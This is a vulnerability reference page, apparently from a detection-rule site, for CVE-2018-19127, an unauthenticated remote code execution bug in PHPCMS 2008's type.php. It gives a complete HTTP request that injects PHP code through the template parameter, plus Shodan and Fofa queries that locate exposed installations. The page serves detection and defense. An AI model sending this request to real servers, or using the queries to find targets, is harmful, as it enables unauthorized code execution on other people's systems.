🔙 목록으로 돌아가기

CVE-2018-19127: PHPCMS 2008 - Remote Code Execution via Template Injection

TitlePHPCMS 2008 - Remote Code Execution via Template Injection
Authortomaquet18
SeverityCritical
ImpactSuccessful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control.
RemediationThe vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it.
CVSS Score9.8
EPSS Score0.84845
CVE IDCVE-2018-19127
CWE IDCWE-94
Shodan Queryhttp.html:"Powered by phpcms"
Fofa Querybody="Powered by phpcms"
Tags cve cve2018 phpcms rce ssti vkev vuln

🔍 Vulnerability Description

PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.

🌐 HTTP Request

GET /type.php?template=tag_(){};echo(md5(999999999));{//../rss HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19127.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-19127.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A